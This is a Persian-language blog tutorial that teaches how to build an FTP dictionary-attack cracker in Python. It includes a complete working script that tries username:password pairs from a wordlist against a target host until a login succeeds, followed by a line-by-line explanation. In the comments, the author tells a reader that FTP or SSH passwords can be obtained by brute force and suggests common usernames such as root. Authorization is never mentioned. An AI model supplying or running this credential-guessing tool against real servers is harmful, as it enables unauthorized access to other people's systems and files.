آموزش ساخت cracker پروتکل FTP در پایتون :: Mr Python | مستر پایتون

آموزش ساخت cracker پروتکل FTP در پایتون

  • ۱۰۷۹

آموزش ساخت cracker پروتکل FTP در پایتون

درود به همه !

 

امروز در خدمت شما هستیم با یکی دیگر از مباحث کرکینگ . در این پست آموزشی یاد میگیریم چطوری میتونیم در پایتون ابزاری بنویسیم که یک حمله ی دیکشنری روی پروتکل FTP پیاده سازی کند . همانطور که میدانید ما در حمله ی دیکشنری لیستی از نام های کاربری و پسوورد ها را تست میکنیم تا نهایتا به نام کاربری و پسوورد صحیح  برسیم . با ما همراه باشید .

پروتکل FTP مخفف File Transfer Protocol ، پروتکلی بر پایه TCP است که برای رد و بدل کردن فایل ها در شبکه مورد استفاده قرار میگیرد و روی پورت TCP 21 فعالیت میکند .

این پروتکل به صورت کلاینت و سرور عمل میکند . برای مثال فرض کنید کامپیوتر A و کامپیوتر B هردو در یک شبکه مشترک هستند و و کامپیوتر A میخواد یک سری فایل را توسط پروتکل FTP از کامپیوتر B بردارد . در اینجا کامپیوتر B به سرور FTP تبدیل میشود و روی پورت ۲۱ خود شنود میکند. حال کامپیوتر A از طریق پورت TCP 21 به سرور FTP یعنی کامپیوتر B متصل میشود .  در نتیجه یک ارتباط کلاینت سرور برقرار خواهد شد و حالا کامپیوتر A به شرط داشتن نام کاربری و پسوورد ، میتواند فایل هایی که نیاز دارد را از کامپیوتر B با استفاده از پروتکل FTP بردارد .

به یک سرور FTP ، چندین کلاینت میتوانند متصل شوند و فایل رد و بدل کنند :‌

 

تا اینجا به طور مختصر با پروتکل FTP در شبکه آشنا شدیم . حال کار اسکریپت ما این است که به عنوان یک کلاینت FTP ، با استفاده از نام کاربری و پسوورد های مختلف تلاش کند به یک سرور FTP متصل شود . با این آزمون و خطا میتواند نام کاربری و پسوورد صحیح را تشخیص دهد . لیست یا دیکشنری نام های کاربری و پسوورد ها را خودمان به اسکریپت خواهیم داد .

اولا ما نیاز به یک فایل از جفت نام های کاربری و پسوورد ها داریم (Dictionery) . این فایل را میتوانیم خودمان بسازیم برای مثال محتوای یک فایل دیکشنری میتواند به شکل زیر باشد :

username1:password1
username2:password2
username3:password3
username4:password4
username5:password5
...

همانطور که میبینید یوزرنیم ها و پسوورد ها به طور جفت جفت در هر خط نوشته شده اند و با علامت دونقطه (:) از هم جدا شده اند .

حال اسکریپت ما با خواندن خط به خط این فایل ، هر جفت یوزرنیم و پسوورد را تست میکند تا نهایتا به جفت صحیح برسد .

برای نوشتن اسکریپت امروز نیاز به دو کتابخانه داریم . اول کتابخانه ی ftplib برای استفاده از پروتکل FTP در پایتون(که به طور پیشفرض روی پایتون نصب است) و سپس کتابخانه ی colorama برای نوشتن متون رنگی در پایتون .

برای نصب  کتابخانه از ابزار pip استفاده میکنیم :

 

نصب کتابخانه colorama لینوکس :

MrPython@debian:~$ sudo pip3 install colorama

نصب کتابخانه colorama روی ویندوز :

C:\> pip install colorama

 

پس از نصب کتابخانه میریم سراغ سورس کد  :

import ftplib
import colorama

def connect(host,username,password):
    ftp = ftplib.FTP()
    print(colorama.Fore.RED + "trying -> {}:{}".format(username,password))
    try:
        ftp.connect(host,21,timeout=5)
        ftp.login(username,password)
        return True
    except ftplib.error_perm:
        return False


colorama.init() # init colorama
host = input("host : ")
dic = input("Dictionery File : ")

for userpass in open(dic):
    userpass = userpass.strip("\n")
    username = userpass.split(":")[0]
    password = userpass.split(":")[1]
    if connect(host,username,password) :
        print("-------------------")
        print(colorama.Fore.GREEN + "Username : {}\nPassword : {}".format(username,password))
        break

توضیح سورس کد :

در ابتدا کتابخانه های مورد نیاز را ایمپورت کردیم . سپس یک تابع به نام connect تعریف کردیم که سه ورودی یعنی IP سیستم هدف ، یک یوزرنیم و یک پسوورد دریافت میکنه و فعالیت زیر رو انجام میده :

۱ - در ابتدا یک شیء ftplib.FTP میسازه و میریزه داخل متغییر ftp

۲ - سپس با رنگ قرمز چاپ میکنه که چه یوزرنیم و پسووردی رو داره تست میکنه

۳ - با استفاده از عبارت try / except ، سعی میکنه با یوزرنیم و پسوورد فعلی وصل بشه به پورت ۲۱ سیستم هدف . اگر یوزرنیم و پسوورد صحیح باشه که برنامه بدون خطا وصل میشه به سیستم هدف و در نتیجه کد های داخل بلوک try اجرا خواهد شد و نهایتا تابع مقدار True رو به عنوان خروجی بر میگردونه . ولی اگر یوزرنیم و پسوورد صحیح نباشن ، برنامه یه خطای error_perm تولید میکنه و در نتیجه کد های داخل except اجرا میشه و نهایتا تابع مقدار False رو به عنوان خروجی برمیگردونه .

 

پس از تعریف تابع ، با استفاده از تابع colorama.init  ، کتابخانه colorama را پیکربندی و آماده استفاده کرده ایم .

در خط بعد یک ورودی به نام host از کاربر گرفته ایم که همان IP سیستم هدف است .

سپس یک ورودی دیگر به نام dic گرفتیم که همان آدرس فایل دیکشنری نام های کاربری و پسوورد ها است .

پس از اون یه حلقه ی for روی فایل دیکشنری ایجاد کردیم تا به تک تک خطوط آن دسترسی داشته باشیم . درون حلقه for در ابتدا n\ آخر خط را حذف کرده ایم و سپس username و password را تفکیک و  درون دو متغییر جداگانه ذخیره کرده ایم .

حال با استفاده از یک دستور if و تابع connect که در بالا نوشتیم ، چک کرده ایم که آیا با یوزرنیم و پسوورد فعلی میتوان به سیستم هدف وصل شد یا نه . اگر جواب بله باشد ، تابع connect مقدار True را بر میگرداند و در نتیجه کد های درون if اجرا میشود . پس یوزرنیم و پسوورد صحیح چاپ میشود و برنامه توسط دستور break از حلقه for خارج میشود و عملا تمام میشود .

ولی در صورتی که نتوان توسط یوزرنیم و پسوورد فعلی به سیستم هدف وصل شد یعنی یوزرنیم و پسوورد اشتباه بوده است پس تابع connect مقدار False را برمیگرداند و کد های درون if اجرا نخواهد شد .

 

نهایتا پس از اجرای اسکریپت و دادن ورودی های مورد نیاز به او ، با عملکرد زیر مواجه میشویم :

 

یا حق !

Telegram Channel : @mrpythonblog

  • خیلی مطلب مفیدی بود

    میشه بگید کرک پروتکلhttp چجوریه؟

    پاسخ:
    این پست رو ببینید :
  • سلام من با کتابخانه ریکوئست درست کردم خیلی جالب و راحته (:

    پاسخ:
    :)
  • سلام حاجی 

    مطالبت عالیه ایشالا موفق بشی به اهداف بالایی که داری برسی

    علی داوری.

    پاسخ:
    مچکرم علی جان . همچنین :)
  • سلام من گوشیم یه مشکلی داره شیلترشکن روش خاموش میشه بعد یه مدت حالا یه کار خیلی حیاتی دارم و فوری میخوام پروکسی روی مودم ست کنم موقت که ازش استفاده کنم چطوری امکان پذیره؟

    پاسخ:
    سلام و درود . 
    سریع ترین راه حل اینه که از فیلتر شکن دیگه ای استفاده کنید . 

  • یه سوال برای اطلاعات عمومی

    ببینید من مثلا یه آیپی ای پیدا کردم که یوزرش ali یا hosein یا teramp یا هر چیز دیه ای باشه. برای این یوزر ها هم پسورد بزاریم میشه پسورد سیستم رو یافت؟؟

    ضمنا یوزرنیم رو چه طوری از آیپی در بیاریم؟؟؟؟؟؟

    پاسخ:
    سلام و درود .
    سوال شما یک سری ابهاماتی داره . 
    من نمیدونم دقیقا با چه پروتکلی قصد اتصال به سیستم هدف رو دارین . 
    ولی فرض رو بر این میزارم با پروتکلی مثل ftp یا ssh میخواین وصل بشین . 
    خب پسوورد این پروتکل ها رو با حمله ای مشابه چیزی که اسکریپتشو نوشتیم یعنی حمله ی brute force میشه بدست آورد (به شرط دیکشنری صحیح) .
    یوزرنیم رو معمولا نمیشه از طریق آی پی بدست آورد ولی یه سری یوزرنیم های عمومی هستند . برای مثال یوزرنیم root همون یوزر root در سیستم های لینوکسی هستش
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی